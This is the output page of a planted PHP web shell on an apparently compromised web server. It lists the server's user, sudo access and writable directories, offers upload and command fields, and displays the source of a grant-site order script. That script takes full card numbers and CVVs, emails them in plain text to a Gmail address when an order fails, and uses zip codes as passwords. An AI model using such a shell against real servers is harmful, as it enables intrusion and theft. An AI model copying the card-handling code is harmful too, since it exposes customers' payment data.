403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usafundingapplications.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usafundingapplications.org/order2.php
<?
session_start();
$do_session = $_GET['s'];
if ($do_session == '1')
{
	foreach($_SESSION as $key=>$value)
	{
		$_POST[$key] = $value;
	}	
}
else
{
	foreach ($_SESSION as $key=>$value)
	{
		unset($_SESSION[$key]);
	}
	foreach ($_POST as $key=>$value)
	{
		$_SESSION[$key] = $value;
	}
}

$special_order = $_GET['so'];
if (isset($_POST['so'])) { $special_order = $_POST['so'];}

$_POST['so'] = $special_order;

$tc = (! isset($_POST['tc'])) ? 'none': $_POST['tc'];

$cc_fname = $_GET['cc_fname'];
if (isset($_POST['cc_fname'])) { $cc_fname = $_POST['cc_fname'];}

$cc_lname = $_GET['cc_lname'];
if (isset($_POST['cc_lname'])) { $cc_lname = $_POST['cc_lname'];}

$cc_addr = $_GET['cc_addr'];
if (isset($_POST['cc_addr'])) { $cc_addr = $_POST['cc_addr'];}

$cc_city = $_GET['cc_city'];
if (isset($_POST['cc_city'])) { $cc_city = $_POST['cc_city'];}

$cc_zip = $_GET['cc_zip'];
if (isset($_POST['cc_zip'])) { $cc_zip = $_POST['cc_zip'];}

$cc_state = $_GET['cc_state'];
if (isset($_POST['cc_state'])) { $cc_state = $_POST['cc_state'];}

$cc_country = $_GET['cc_country'];
if (isset($_POST['cc_country'])) { $cc_country = $_POST['cc_country'];}

$cc_phonearea = $_GET['cc_phonearea'];
if (isset($_POST['cc_phonearea'])) { $cc_phonearea = $_POST['cc_phonearea'];}

$cc_phoneprefix = $_GET['cc_phoneprefix'];
if (isset($_POST['cc_phoneprefix'])) { $cc_phoneprefix = $_POST['cc_phoneprefix'];}

$cc_phoneextension = $_GET['cc_phoneextension'];
if (isset($_POST['cc_phoneextension'])) { $cc_phoneextension = $_POST['cc_phoneextension'];}

$cc_phonearea2 = $_GET['cc_phonearea2'];
if (isset($_POST['cc_phonearea2'])) { $cc_phonearea2 = $_POST['cc_phonearea2'];}

$cc_phoneprefix2 = $_GET['cc_phoneprefix2'];
if (isset($_POST['cc_phoneprefix2'])) { $cc_phoneprefix2 = $_POST['cc_phoneprefix2'];}

$cc_phoneextension2 = $_GET['cc_phoneextension2'];
if (isset($_POST['cc_phoneextension2'])) { $cc_phoneextension2 = $_POST['cc_phoneextension2'];}

$cc_email = $_GET['cc_email'];
if (isset($_POST['cc_email'])) { $cc_email = $_POST['cc_email'];}

$cc_type = $_GET['cc_type'];
if (isset($_POST['cc_type'])) { $cc_type = $_POST['cc_type'];}

$cc_num = $_GET['cc_num'];
if (isset($_POST['cc_num'])) { $cc_num = $_POST['cc_num'];}

$cc_month = $_GET['cc_month'];
if (isset($_POST['cc_month'])) { $cc_month = $_POST['cc_month'];}

$cc_year = $_GET['cc_year'];
if (isset($_POST['cc_year'])) { $cc_year = $_POST['cc_year'];}

$cc_cvv = $_GET['cc_cvv'];
if (isset($_POST['cc_cvv'])) { $cc_cvv = $_POST['cc_cvv'];}

$cc_lead_id = $_GET['cc_lead_id'];
if (isset($_POST['cc_lead_id'])) { $cc_lead_id = $_POST['cc_lead_id'];}

$app_gender = $_GET['app_gender'];
if (isset($_POST['app_gender'])) { $app_gender = $_POST['app_gender'];}

$app_age = $_GET['app_age'];
if (isset($_POST['app_age'])) { $app_age = $_POST['app_age'];}

$app_citizenship = $_GET['app_citizenship'];
if (isset($_POST['app_citizenship'])) { $app_citizenship = $_POST['app_citizenship'];}

$app_granttype = $_GET['granttype'];
if (isset($_POST['granttype'])) { $app_granttype = $_POST['granttype']; }

$businessgrants = array('Small Business Funding','Small Business Management',
							'Start-up Business Capital','Business Expansion Capital',
							'Home Business Assistance','Women-Owned Business Funding',
							'Small Business Loans','Minority-Owned Business Funding',
							'Private Money','Venture Capital');

$realestategrants = array(	'1st Time Home Buyer','Mobile Homes / Parks',
							'Rental Housing Projects','Commercial Property',
							'Apartment Buildings','Land Development',
							'RV Parks','New Construction');

$educationgrants = array(	'Federal Pell','Scholarships',
							'Student Financial Aid','Training Funding',
							'Tuition Assistance','Research Funding',
							'Stafford Loans','University Funding');
							
$personalgrants = array('Home Repair','Rent Assistance',
						'Personal Debt Consolidation','Child Care',
						'Food & Nutrition','Personal Funding',
						'Medical Bills Assistance','Utility Bill Assistance');

$types_of_grants = array();
switch ($app_granttype)
{
	case "business":
		$grants = $businessgrants;
		break;
	case "realestate":
		$grants = $realestategrants;
		break;
	case "education":
		$grants = $educationgrants;
		break;
	case "personal":
		$grants = $personalgrants;
		break;
	default:
		$grants = $businessgrants;
		break;
}
$counter = 0;
$combined_types = "";
foreach ($grants as $grant)
{
	$grantnumber = "granttype_" . $counter;
	$grantselected = $_GET[$grantnumber];
	if (isset($_POST[$grantnumber])) { $grantselected = $_POST[$grantnumber];}
	if (! strcmp($grantselected,"")==0)
		{
		$types_of_grants[] = $grantselected;
		$combined_types .= $grantselected . ",";
		}
	$counter++;
}
						
$app_granttype_other = $_GET['granttype_other'];
if (isset($_POST['granttype_other'])) { $app_granttype_other = $_POST['granttype_other'];}

$combined_types .= $app_granttype_other;
					
$app_amount_needed = $_GET['app_amount_needed'];
if (isset($_POST['app_amount_needed'])) { $app_amount_needed = $_POST['app_amount_needed'];}

$app_usedescription = $_GET['app_usedescription'];
if (isset($_POST['app_usedescription'])) { $app_usedescription = $_POST['app_usedescription'];}

$app_uniqueness = $_GET['app_uniqueness'];
if (isset($_POST['app_uniqueness'])) { $app_uniqueness = $_POST['app_uniqueness'];}

$submitted = $_POST['submitted'];
$application = $_POST['application'];

$ipaddress = $_SERVER['REMOTE_ADDR'];

require_once("{$_SERVER["DOCUMENT_ROOT"]}/inc/LCAPI.php");
require_once("{$_SERVER["DOCUMENT_ROOT"]}/inc/common.php");

if (! strcmp($application,"") == 0)
{
	// We need to get a lead_id from the learning Center API
		
	$postfields = array();
	
	$postfields['fname'] = $cc_fname;
	$postfields['lname'] = $cc_lname;
	$postfields['address'] = $cc_addr;
	$postfields['city'] = $cc_city;
	$postfields['state'] = $cc_state;
	$postfields['zip'] = $cc_zip;
	$postfields['country'] = $cc_country;	
	$postfields['phone'] = $cc_phonearea . $cc_phoneprefix . $cc_phoneextension;
	$postfields['phone2'] = $cc_phonearea2 . $cc_phoneprefix2 . $cc_phoneextension2;
	$postfields['email'] = $cc_email;
	$postfields['site'] = 'usafa';
	$postfields['referrer'] = $tc;
	$postfields['ipaddress'] = $_SERVER['REMOTE_ADDR'];
	$postfields['tc'] = $tc;
	$postfields['sid'] = $_POST['sid'];
	$postfields['cid'] = $_POST['cid'];

	$result = false; 
	$errormessage = ''; 
	if($postfields['cc_num']{0} == 3) //Deny all AMEX 
	{
		$errormessage = "We do not accept American Express. Please use another card. Thank you.";
	}
	else 
	{
		$lcapi = new LCAPI();
		$result = $lcapi->CreateLead($postfields);
	}
	
	if (!$result)
	{
		if($postfields['cc_num']{0} != 3)
		{
			if($lcapi->response->errormessage)
			{
			 	$errormessage = $lcapi->response->errormessage;
			}
			else
			{
				$errormessage = "There was an unexpected error. Please notify customer support.";
			}
		}
	}
	else
	{
		$lead_id = $lcapi->response->userid;
		$lead_id = trim($lead_id);
		$cc_lead_id = $lead_id;
		
		// We need to add the application information to the lead_profile DB
		// via surfcrm.com
		$url = "https://surfcrm.com/lcapi/newleadprofile.php";
		$post = "aff_id=usafa&";
		$post .= "client_id=$lead_id&";
		$post .= "granttype=$app_granttype&";
		$post .= "gender=$app_gender&";
		$post .= "age=$app_age&";
		$post .= "citizenship=$app_citizenship&";
		$post .= "money=$app_amount_needed&";
		$post .= "types=" . urlencode($combined_types) . "&";
		$post .= "description=" . urlencode($app_usedescription) . "&";
		$post .= "uniqueness=" . urlencode($app_uniqueness) . "&";
		$post .= "phone=" . $cc_phonearea . $cc_phoneprefix . $cc_phoneextension . "&";
		$post .= "tracking_code=$tc&";
		$post .= "ip_address=$ipaddress";
		
		$method = "post";
		
		$response = getPage($url,$method,$post,"","","","","");		
	}
	
}

if (! strcmp($submitted,"") == 0)
{
	$postfields = array();
	
	$postfields['fname'] = $cc_fname;
	$postfields['lname'] = $cc_lname;
	$postfields['address'] = $cc_addr;
	$postfields['city'] = $cc_city;
	$postfields['state'] = $cc_state;
	$postfields['zip'] = $cc_zip;
	$postfields['country'] = $cc_country;	
	$postfields['phone'] = $cc_phonearea . $cc_phoneprefix . $cc_phoneextension;
	$postfields['email'] = $cc_email;
	
	$postfields['cc_num'] = $cc_num;
	$postfields['cc_exp_month'] = $cc_month;
	$postfields['cc_exp_year'] = $cc_year;
	$postfields['cc_cvv'] = $cc_cvv;
	
	$postfields['leadid'] = $cc_lead_id;
	
	$postfields['site'] = 'usafa';
	$postfields['referrer'] = $tc;
	$postfields['ipaddress'] = $_SERVER['REMOTE_ADDR'];
	$postfields['tc'] = $tc;
	
	$postfields['billing_amount'] = '24.95';
	$postfields['rebill_amount'] = '24.95';
	$postfields['next_bill_date'] = '30';
	
	if ($special_order == '1')
	{
		$postfields['billing_amount'] = '19.97';
		$postfields['referer']  = 'VSA';
	}
	
	$lcapi = new LCAPI();
	$result = $lcapi->CreateUser($postfields);
	if (!$result)
	{
		$errormessage = $lcapi->response->errormessage;
		
		// failed transaction - show alert message
		$error_message = $errormessage;
		
		// show order form again and ask them to retry
		$from = "From: support@usafundingapplications.org\r\n";
		$message = "The following error occurred when trying to process an order:
		$error_message
		
		Post information: 
		
		";
		foreach ($postfields as $key=>$value)
		{
			$message .= "$key : $value\n";
		}
		$header = $from . $bcc;
		mail("usafa.org@gmail.com","USA Funding Applications.org Order Error",$message,$header);

		$page = "order_form2.php";
		$page = ($special_order == '1') ? "special_order_form.php" : $page;
		include($page);
	}
	else
	{
		// Successful transaction
		// Send the user an email.
		$partial_cc_num = "****" . substr($cc_num,12);
		
		$message = "$cc_fname,

Thank you for your recent membership to USA Funding Applications.org.
 
Your login information is:

 
Website:    http://www.usafundingapplications.org/login.php 

Username:	$cc_email

Password:   $cc_zip

 
If you have any questions, please don't hesitate to let us know.

 
Our email is:  support@usafundingapplications.org.  Or you can visit our support page in the Members Only site by clicking on the support tab, www.usafundingapplications.org/membersonly/contact.php

By phone: 888-261-4837

Again, thank you for your order and good luck to you in your funding goals!!

 

Sincerely,

USA Funding Applications

www.USAFundingApplications.org";

		$from = "From: support@usafundingapplications.org\n";
		$bcc = "usafa.org@gmail.com\n";
		$header = $from . $bcc;
		//mail("$cc_email","USA Funding Applications.org Membership Confirmation",$message,$header);
		
		include("confirm.php");	
	}		
}
else
{
	// Display the initial form
	if ($cc_fname == '' || $cc_lname == '')
	{
		header("Location: /");
		exit();
	}
	
	if ($special_order == "1")
	{
		include("special_order_form.php");
	}
	else
	{
		//$use_vsa = true;
		include("order_form2.php");
	}
	exit();
	
}
?>



Youez - 2016 - github.com/yon3zu
LinuXploit